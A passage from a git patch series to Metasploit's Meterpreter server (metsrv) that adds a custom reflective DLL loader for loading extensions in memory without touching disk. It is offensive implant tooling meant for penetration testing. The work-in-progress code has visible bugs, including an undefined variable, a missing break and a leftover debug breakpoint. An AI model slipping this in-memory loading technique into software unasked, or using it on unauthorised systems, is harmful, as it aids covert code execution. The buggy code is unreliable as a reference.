From 7f13bfda42e2d1b8fbcd92a20d59398642cba88e Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Fri, 20 Mar 2026 18:29:24 +0100 Subject: [PATCH 01/23] Removes calling reflective loader from DLL, adds reflective loader to metsrv --- c/meterpreter/source/metsrv/remote_dispatch.c | 271 +++++++++++++++++- 1 file changed, 268 insertions(+), 3 deletions(-) diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index 010e1eb78..e97f78f25 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -6,6 +6,12 @@ #define GetProcAddressByOrdinal(mod, ord) GetProcAddress(mod, MAKEINTRESOURCEA(ord)) #define GetProcAddressByOrdinalR(mod, ord) GetProcAddressR(mod, MAKEINTRESOURCEA(ord)) + +typedef struct _BASE_RELOCATION_ENTRY { + WORD Offset : 12; // Specifies where the base relocation is to be applied. + WORD Type : 4; // Indicates the type of base relocation to be applied. +} BASE_RELOCATION_ENTRY, * PBASE_RELOCATION_ENTRY; + // see ReflectiveLoader.c... extern HINSTANCE hAppInstance; @@ -227,6 +233,263 @@ DWORD stagelessinit_extension(UINT extensionId, LPBYTE data, DWORD dataSize) return ERROR_SUCCESS; } + + +BOOL FixRelocations(PIMAGE_DATA_DIRECTORY dRelocBaseAddress, ULONG_PTR pBaseAddress, ULONG_PTR pPreferrableAddress) +{ + ULONG_PTR delta = pBaseAddress - pPreferrableAddress; + PIMAGE_BASE_RELOCATION pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)(pBaseAddress + dRelocBaseAddress->VirtualAddress); + PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL; + + while (pBaseRelocationTable->SizeOfBlock != 0) + { + pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pBaseRelocationTable + 1); + while ((PBYTE)pBaseRelocEntry != (PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock) + { + switch (pBaseRelocEntry->Type) + { + case IMAGE_REL_BASED_ABSOLUTE: + break; + case IMAGE_REL_BASED_DIR64: + *((ULONG_PTR*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += delta; + break; + case IMAGE_REL_BASED_HIGHLOW: + *((DWORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)delta; + break; + case IMAGE_REL_BASED_HIGH: + *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(delta); + break; + case IMAGE_REL_BASED_LOW: + *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(delta); + break; + default: + dprintf("[FIXRELOC] Unknown relocation type: %d", pBaseRelocEntry->Type); + return FALSE; + + } + + pBaseRelocEntry = pBaseRelocEntry + 1; + } + pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock); + } + + return TRUE; +} + +BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) { + + PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL; + ULONG_PTR fncPointer = 0; + HANDLE hModule = NULL; + + for (SIZE_T i = 0; i < pDataDirectoryImportTable->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { + + ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pBaseAddress + pDataDirectoryImportTable->VirtualAddress + i); + + if (ImportDescriptor->OriginalFirstThunk == 0 && ImportDescriptor->FirstThunk == 0) + break; + + LPCSTR dllName = (LPSTR)(pBaseAddress + ImportDescriptor->Name); + + PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->OriginalFirstThunk); + PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->FirstThunk); + + hModule = LoadLibraryA(dllName); + + if (hModule == NULL) + { + dprintf("[LOADREFLECTIVELY] Failed to load DLL %s\n", dllName); + return FALSE; + } + + while (pIAT->u1.Function != 0 || pINT->u1.Function != 0) { + LPCSTR fncName = NULL; + + if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) + { + // import by ordinal + //fncPointer = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal))); + fncName = (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal)); + } + else { + + // import by name + PIMAGE_IMPORT_BY_NAME pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pBaseAddress + pINT->u1.AddressOfData); + //fncPointer = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name); + fncName = pImgImportByName->Name; + } + + fncPointer = (ULONG_PTR)GetProcAddress(hModule, fncName); + if (fncPointer == 0) + { + dprintf("[LOADREFLECTIVELY] Failed to resolve function in DLL %s\n", dllName); + return FALSE; + } + pIAT->u1.Function = fncPointer; + + pINT = (PIMAGE_THUNK_DATA)((PBYTE)(pINT)+sizeof(IMAGE_THUNK_DATA)); + pIAT = (PIMAGE_THUNK_DATA)((PBYTE)(pIAT)+sizeof(IMAGE_THUNK_DATA)); + } + + } + + return TRUE; +} + +BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) +{ + PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + DWORD dwProtection, dwOldFlags; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + dwProtection = PAGE_WRITECOPY; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + dwProtection = PAGE_READONLY; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_READWRITE; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) + dwProtection = PAGE_EXECUTE; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)) + dwProtection = PAGE_EXECUTE_WRITECOPY; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_EXECUTE_READ; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_EXECUTE_READWRITE; + + dprintf("[FIXPERM] Setting permissions for section %p to %x with size %x\n",pBaseAddress + pSectionHeader[i].VirtualAddress , dwProtection, pSectionHeader[i].SizeOfRawData); + LPVOID lpAddress = (PBYTE)pBaseAddress + pSectionHeader[i].VirtualAddress; + if(met_api->win_api.kernel32.VirtualProtect(&(lpAddress), pSectionHeader[i].SizeOfRawData, dwProtection, &dwOldFlags) == 0) + { + dprintf("[LOADREFLECTIVELY] Failed to fix permissions for section %d\n", i); + return FALSE; + } + + } + + return TRUE; + +} + +BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { + + dprintf("[LOADREFLECTIVELY] Loading library reflectively from buffer %p\n", lpBuffer); + + PBYTE pBaseAddress = (PBYTE)lpBuffer; + PBYTE pDLLBaseAddress = NULL; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); + + if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + dprintf("[LOADREFLECTIVELY] DOS signature not valid\n"); + return FALSE; + } + + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress); + + if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + dprintf("[LOADREFLECTIVELY] NT signature not valid\n"); + return FALSE; + } + dprintf("[LOADREFLECTIVELY] PE headers are valid\n"); + + dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n"); + pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + if (pDLLBaseAddress == NULL) + { + dprintf("[LOADREFLECTIVELY] VirtualAlloc failed\n"); + return FALSE; + } + + dprintf("[LOADREFLECTIVELY] Allocation succesfull, got %p\n", pDLLBaseAddress); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; + PBYTE pSourceBase = pBaseAddress; + PBYTE pDestinationBase = pDLLBaseAddress; + + dprintf("[LOADREFLECTIVELY] Copying headers\n"); + + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + + dprintf("[LOADREFLECTIVELY] Copying PE sections\n"); + + // 1. Copy the PE headers to the new location + for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + + PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress; + PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData; + DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData; + dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders); + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + } + + // 2. Get all necessary sections + PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // 3. Fix relocations + dprintf("[LOADREFLECTIVELY] Fixing relocations\n"); + if(!FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) + { + dprintf("[LOADREFLECTIVELY] Failed to fix relocations\n"); + return FALSE; + } + + // 4. Fix the IAT + dprintf("[LOADREFLECTIVELY] Fixing IAT\n"); + if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) + { + dprintf("[LOADREFLECTIVELY] Failed to fix IAT\n"); + return FALSE; + } + + // 5. Set the correct permissions for the sections + dprintf("[LOADREFLECTIVELY] Fixing permissions\n"); + if(!FixPermissions(pNtHeaders, pDLLBaseAddress)) + { + dprintf("[LOADREFLECTIVELY] Failed to fix permissions\n"); + return FALSE; + } + + // 6. Call the entry point + + dprintf("[LOADREFLECTIVELY] Calling entry point\n"); + DLLMAIN dEntryPoint = (DLLMAIN)(pDLLBaseAddress + pNtHeaders->OptionalHeader.AddressOfEntryPoint); + + if (dEntryPoint((HINSTANCE)pDLLBaseAddress, DLL_PROCESS_ATTACH, NULL) == FALSE) + { + dprintf("[LOADREFLECTIVELY] DllMain returned FALSE\n"); + return FALSE; + } + + *phModule = (HMODULE)pDLLBaseAddress; +// dprintf("[LOADREFLECTIVELY] Calling entry point\n"); +// if (dEntryPoint((HINSTANCE)pDLLBaseAddress, 6, phModule) == FALSE) +// { +// dprintf("[LOADREFLECTIVELY] DllMain returned FALSE\n"); +// return FALSE; +// } +// + + return TRUE; +} /* * @brief Load an extension from the given library handle. * @param hLibrary handle to the library to load/init. @@ -374,11 +637,13 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) // If the library is not to be stored on disk, if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) { - LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet); + //LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet); + dprintf("[LOADLIB] here 7"); - // try to load the library via its reflective loader... - library = LoadLibraryR(dataTlv.buffer, dataTlv.header.length, reflectiveLoader); + // try to load the library via the reflective loader... + LoadReflectively((ULONG_PTR)dataTlv.buffer, &library); + dprintf("[LOADLIB] LoadReflectively returned, library is %p", library); dprintf("[LOADLIB] here 8"); if (library == NULL) { From a3b0d27c96a48e860d96c716d15a6914fa3fe0ea Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Fri, 20 Mar 2026 18:32:37 +0100 Subject: [PATCH 02/23] Removes redundant comments and lines --- c/meterpreter/source/metsrv/remote_dispatch.c | 12 ++---------- 1 file changed, 2 insertions(+), 10 deletions(-) diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index e97f78f25..c0889db4c 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -386,6 +386,7 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { PBYTE pBaseAddress = (PBYTE)lpBuffer; PBYTE pDLLBaseAddress = NULL; PIMAGE_SECTION_HEADER pSectionHeader = NULL; + *phModule = NULL; PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); @@ -480,13 +481,6 @@ BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { } *phModule = (HMODULE)pDLLBaseAddress; -// dprintf("[LOADREFLECTIVELY] Calling entry point\n"); -// if (dEntryPoint((HINSTANCE)pDLLBaseAddress, 6, phModule) == FALSE) -// { -// dprintf("[LOADREFLECTIVELY] DllMain returned FALSE\n"); -// return FALSE; -// } -// return TRUE; } @@ -637,14 +631,12 @@ DWORD request_core_loadlib(Remote *remote, Packet *packet) // If the library is not to be stored on disk, if (!(flags & LOAD_LIBRARY_FLAG_ON_DISK)) { - //LPCSTR reflectiveLoader = packet_get_tlv_value_reflective_loader(packet); - dprintf("[LOADLIB] here 7"); // try to load the library via the reflective loader... LoadReflectively((ULONG_PTR)dataTlv.buffer, &library); dprintf("[LOADLIB] LoadReflectively returned, library is %p", library); - dprintf("[LOADLIB] here 8"); + if (library == NULL) { // if that fails, presumably besause the library doesn't support From 93db3d6deac02598a5dc42cf39fa7e863ccf9517 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 23 Mar 2026 10:34:10 +0100 Subject: [PATCH 03/23] Adds additional relocation type --- c/meterpreter/source/metsrv/remote_dispatch.c | 25 +++++++++++++++++++ 1 file changed, 25 insertions(+) diff --git a/c/meterpreter/source/metsrv/remote_dispatch.c b/c/meterpreter/source/metsrv/remote_dispatch.c index c0889db4c..9dee85dbd 100644 --- a/c/meterpreter/source/metsrv/remote_dispatch.c +++ b/c/meterpreter/source/metsrv/remote_dispatch.c @@ -256,6 +256,31 @@ BOOL FixRelocations(PIMAGE_DATA_DIRECTORY dRelocBaseAddress, ULONG_PTR pBaseAddr case IMAGE_REL_BASED_HIGHLOW: *((DWORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)delta; break; + #if defined(_M_ARM) + case IMAGE_REL_BASED_ARM_MOV32T: + DWORD dwInstruction = *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)); + // Flip the words to get the instruction as expected (account for endianness/instruction packing). + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // Pull out the encoded 16-bit immediate value (high portion of the address-to-relocate). + WORD wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // Apply the relocation delta to the target address. + DWORD dwAddress = ((WORD)HIWORD(uiDelta) + wImm) & 0xFFFF; + // Create a new instruction with the same opcode and register parameters. + dwInstruction &= ARM_MOV_MASK2; + // Patch in the relocated address, re-encoding the immediate value. + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // Flip the instructions words and patch back into the code. + *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + #endif case IMAGE_REL_BASED_HIGH: *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(delta); break; From aaf97abbce7068c1882b3a5d8f12969f1e0b3047 Mon Sep 17 00:00:00 2001 From: msutovsky-r7 Date: Mon, 23 Mar 2026 11:32:54 +0100 Subject: [PATCH 04/23] Moves extension loader into separate file --- .../source/metsrv/extension_loader.c | 279 +++++++++++++++++ .../source/metsrv/extension_loader.h | 8 + c/meterpreter/source/metsrv/remote_dispatch.c | 281 +----------------- c/meterpreter/workspace/metsrv/metsrv.vcxproj | 4 +- .../workspace/metsrv/metsrv.vcxproj.filters | 4 +- 5 files changed, 294 insertions(+), 282 deletions(-) create mode 100755 c/meterpreter/source/metsrv/extension_loader.c create mode 100755 c/meterpreter/source/metsrv/extension_loader.h diff --git a/c/meterpreter/source/metsrv/extension_loader.c b/c/meterpreter/source/metsrv/extension_loader.c new file mode 100755 index 000000000..cc3170a4c --- /dev/null +++ b/c/meterpreter/source/metsrv/extension_loader.c @@ -0,0 +1,279 @@ +#include "extension_loader.h" +#include "common_metapi.h" +#include "common_exports.h" +#include "metsrv.h" + +BOOL FixRelocations(PIMAGE_DATA_DIRECTORY dRelocBaseAddress, ULONG_PTR pBaseAddress, ULONG_PTR pPreferrableAddress) +{ + ULONG_PTR delta = pBaseAddress - pPreferrableAddress; + PIMAGE_BASE_RELOCATION pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)(pBaseAddress + dRelocBaseAddress->VirtualAddress); + PBASE_RELOCATION_ENTRY pBaseRelocEntry = NULL; + + while (pBaseRelocationTable->SizeOfBlock != 0) + { + pBaseRelocEntry = (PBASE_RELOCATION_ENTRY)(pBaseRelocationTable + 1); + while ((PBYTE)pBaseRelocEntry != (PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock) + { + switch (pBaseRelocEntry->Type) + { + case IMAGE_REL_BASED_ABSOLUTE: + break; + case IMAGE_REL_BASED_DIR64: + *((ULONG_PTR*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += delta; + break; + case IMAGE_REL_BASED_HIGHLOW: + *((DWORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += (DWORD)delta; + break; + #if defined(_M_ARM) + case IMAGE_REL_BASED_ARM_MOV32T: + DWORD dwInstruction = *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)); + // Flip the words to get the instruction as expected (account for endianness/instruction packing). + dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT) + { + // Pull out the encoded 16-bit immediate value (high portion of the address-to-relocate). + WORD wImm = (WORD)(dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // Apply the relocation delta to the target address. + DWORD dwAddress = ((WORD)HIWORD(uiDelta) + wImm) & 0xFFFF; + // Create a new instruction with the same opcode and register parameters. + dwInstruction &= ARM_MOV_MASK2; + // Patch in the relocated address, re-encoding the immediate value. + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // Flip the instructions words and patch back into the code. + *(DWORD *)((ULONG_PTR)pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset + sizeof(DWORD)) = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction)); + } + #endif + case IMAGE_REL_BASED_HIGH: + *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += HIWORD(delta); + break; + case IMAGE_REL_BASED_LOW: + *((WORD*)(pBaseAddress + pBaseRelocationTable->VirtualAddress + pBaseRelocEntry->Offset)) += LOWORD(delta); + break; + default: + dprintf("[FIXRELOC] Unknown relocation type: %d", pBaseRelocEntry->Type); + return FALSE; + + } + + pBaseRelocEntry = pBaseRelocEntry + 1; + } + pBaseRelocationTable = (PIMAGE_BASE_RELOCATION)((PBYTE)pBaseRelocationTable + pBaseRelocationTable->SizeOfBlock); + } + + return TRUE; +} + +BOOL FixIAT(PIMAGE_DATA_DIRECTORY pDataDirectoryImportTable, PBYTE pBaseAddress) { + + PIMAGE_IMPORT_DESCRIPTOR ImportDescriptor = NULL; + ULONG_PTR fncPointer = 0; + HANDLE hModule = NULL; + + for (SIZE_T i = 0; i < pDataDirectoryImportTable->Size; i += sizeof(IMAGE_IMPORT_DESCRIPTOR)) { + + ImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR)(pBaseAddress + pDataDirectoryImportTable->VirtualAddress + i); + + if (ImportDescriptor->OriginalFirstThunk == 0 && ImportDescriptor->FirstThunk == 0) + break; + + LPCSTR dllName = (LPSTR)(pBaseAddress + ImportDescriptor->Name); + + PIMAGE_THUNK_DATA pINT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->OriginalFirstThunk); + PIMAGE_THUNK_DATA pIAT = (PIMAGE_THUNK_DATA)(pBaseAddress + ImportDescriptor->FirstThunk); + + hModule = LoadLibraryA(dllName); + + if (hModule == NULL) + { + dprintf("[LOADREFLECTIVELY] Failed to load DLL %s\n", dllName); + return FALSE; + } + + while (pIAT->u1.Function != 0 || pINT->u1.Function != 0) { + LPCSTR fncName = NULL; + + if (IMAGE_SNAP_BY_ORDINAL(pINT->u1.Ordinal)) + { + // import by ordinal + //fncPointer = (ULONG_PTR)GetProcAddress(hModule, (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal))); + fncName = (LPCSTR)(IMAGE_ORDINAL(pINT->u1.Ordinal)); + } + else { + + // import by name + PIMAGE_IMPORT_BY_NAME pImgImportByName = (PIMAGE_IMPORT_BY_NAME)(pBaseAddress + pINT->u1.AddressOfData); + //fncPointer = (ULONG_PTR)GetProcAddress(hModule, pImgImportByName->Name); + fncName = pImgImportByName->Name; + } + + fncPointer = (ULONG_PTR)GetProcAddress(hModule, fncName); + if (fncPointer == 0) + { + dprintf("[LOADREFLECTIVELY] Failed to resolve function in DLL %s\n", dllName); + return FALSE; + } + pIAT->u1.Function = fncPointer; + + pINT = (PIMAGE_THUNK_DATA)((PBYTE)(pINT)+sizeof(IMAGE_THUNK_DATA)); + pIAT = (PIMAGE_THUNK_DATA)((PBYTE)(pIAT)+sizeof(IMAGE_THUNK_DATA)); + } + + } + + return TRUE; +} + +BOOL FixPermissions(PIMAGE_NT_HEADERS pNtHeaders, PBYTE pBaseAddress) +{ + PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + for (int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + DWORD dwProtection, dwOldFlags; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) + dwProtection = PAGE_WRITECOPY; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ) + dwProtection = PAGE_READONLY; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_READWRITE; + + if (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) + dwProtection = PAGE_EXECUTE; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE)) + dwProtection = PAGE_EXECUTE_WRITECOPY; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_EXECUTE_READ; + + if ((pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_EXECUTE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_WRITE) && (pSectionHeader[i].Characteristics & IMAGE_SCN_MEM_READ)) + dwProtection = PAGE_EXECUTE_READWRITE; + + dprintf("[FIXPERM] Setting permissions for section %p to %x with size %x\n",pBaseAddress + pSectionHeader[i].VirtualAddress , dwProtection, pSectionHeader[i].SizeOfRawData); + LPVOID lpAddress = (PBYTE)pBaseAddress + pSectionHeader[i].VirtualAddress; + if(met_api->win_api.kernel32.VirtualProtect(&(lpAddress), pSectionHeader[i].SizeOfRawData, dwProtection, &dwOldFlags) == 0) + { + dprintf("[LOADREFLECTIVELY] Failed to fix permissions for section %d\n", i); + return FALSE; + } + + } + + return TRUE; + +} + +BOOL LoadReflectively(IN ULONG_PTR lpBuffer, OUT HMODULE *phModule) { + + dprintf("[LOADREFLECTIVELY] Loading library reflectively from buffer %p\n", lpBuffer); + __debugbreak(); + PBYTE pBaseAddress = (PBYTE)lpBuffer; + PBYTE pDLLBaseAddress = NULL; + PIMAGE_SECTION_HEADER pSectionHeader = NULL; + *phModule = NULL; + + PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)(lpBuffer); + + if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) + { + dprintf("[LOADREFLECTIVELY] DOS signature not valid\n"); + return FALSE; + } + + PIMAGE_NT_HEADERS pNtHeaders = (PIMAGE_NT_HEADERS)(pDosHeader->e_lfanew + pBaseAddress); + + if(pNtHeaders->Signature != IMAGE_NT_SIGNATURE) + { + dprintf("[LOADREFLECTIVELY] NT signature not valid\n"); + return FALSE; + } + dprintf("[LOADREFLECTIVELY] PE headers are valid\n"); + + dprintf("[LOADREFLECTIVELY] Allocating memory for the library\n"); + pDLLBaseAddress = (PBYTE)met_api->win_api.kernel32.VirtualAlloc(NULL, pNtHeaders->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); + + if (pDLLBaseAddress == NULL) + { + dprintf("[LOADREFLECTIVELY] VirtualAlloc failed\n"); + return FALSE; + } + + dprintf("[LOADREFLECTIVELY] Allocation succesfull, got %p\n", pDLLBaseAddress); + + pSectionHeader = (PIMAGE_SECTION_HEADER)((PBYTE)(&(pNtHeaders->OptionalHeader)) + pNtHeaders->FileHeader.SizeOfOptionalHeader); + + DWORD dwSizeOfHeaders = pNtHeaders->OptionalHeader.SizeOfHeaders; + PBYTE pSourceBase = pBaseAddress; + PBYTE pDestinationBase = pDLLBaseAddress; + + dprintf("[LOADREFLECTIVELY] Copying headers\n"); + + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + + dprintf("[LOADREFLECTIVELY] Copying PE sections\n"); + + // 1. Copy the PE headers to the new location + for(DWORD i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) + { + + PBYTE pDestinationBase = pDLLBaseAddress + pSectionHeader[i].VirtualAddress; + PBYTE pSourceBase = pBaseAddress + pSectionHeader[i].PointerToRawData; + DWORD dwSizeOfHeaders = pSectionHeader[i].SizeOfRawData; + dprintf("[LOADREFLECTIVELY] Copying section %p to %p with length %x\n", pSourceBase, pDestinationBase, dwSizeOfHeaders); + while (dwSizeOfHeaders--) + *pDestinationBase++ = *pSourceBase++; + } + + // 2. Get all necessary sections + PIMAGE_DATA_DIRECTORY pImportTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; + PIMAGE_DATA_DIRECTORY pRelocationTableDirectory = &pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; + + // 3. Fix relocations + dprintf("[LOADREFLECTIVELY] Fixing relocations\n"); + if(!FixRelocations(pRelocationTableDirectory, (ULONG_PTR)pDLLBaseAddress, pNtHeaders->OptionalHeader.ImageBase)) + { + dprintf("[LOADREFLECTIVELY] Failed to fix relocations\n"); + return FALSE; + } + + // 4. Fix the IAT + dprintf("[LOADREFLECTIVELY] Fixing IAT\n"); + if(!FixIAT(pImportTableDirectory, pDLLBaseAddress)) + { + dprintf("[LOADREFLECTIVELY] Failed to fix IAT\n"); + return FALSE; + } + + // 5. Set the correct permissions for the sections + dprintf("[LOADREFLECTIVELY] Fixing permissions\n"); + if(!FixPermissions(pNtHeaders, pDLLBaseAddress)) + { + dprintf("[LOADREFLECTIVELY] Failed to fix permissions\n"); + return FALSE; + } + + // 6. Call the entry point + + dprintf("[LOADREFLECTIVELY] Calling entry point\n"); + DLLMAIN 